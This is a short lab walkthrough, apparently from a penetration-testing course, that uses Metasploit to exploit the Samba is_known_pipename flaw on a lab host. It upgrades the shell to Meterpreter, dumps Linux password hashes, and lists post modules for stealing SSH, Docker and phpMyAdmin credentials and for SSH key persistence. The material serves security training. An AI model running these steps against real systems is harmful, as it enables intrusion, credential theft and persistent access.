Lab
The target runs a vulnerable file sharing service. Exploit it, then run the following post modules against the session:
post/multi/gather/ssh_credspost/multi/gather/docker_credspost/linux/gather/hashdumppost/linux/gather/ecryptfs_credspost/linux/gather/enum_pskpost/linux/gather/enum_xchatpost/linux/gather/phpmyadmin_credstealpost/linux/gather/pptpd_chap_secretspost/linux/manage/sshkey_persistence
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a hashdump
Set Global Variables
setg RHOSTS 192.38.210.3
setg RHOST 192.38.210.3
Scan with db_nmap
db_nmap -sC -sV 192.38.210.3
Exploit the Samba is_known_pipename Vulnerability
use exploit/linux/samba/is_known_pipename
exploit
Upgrade the Shell to Meterpreter
sessions -u 1
Dump Linux Hashes
Point the hashdump post module at the session and run it:
use post/linux/gather/hashdump
set SESSION #
exploit
The output is stored as loot:
loot
Each of these loot files can be read with cat.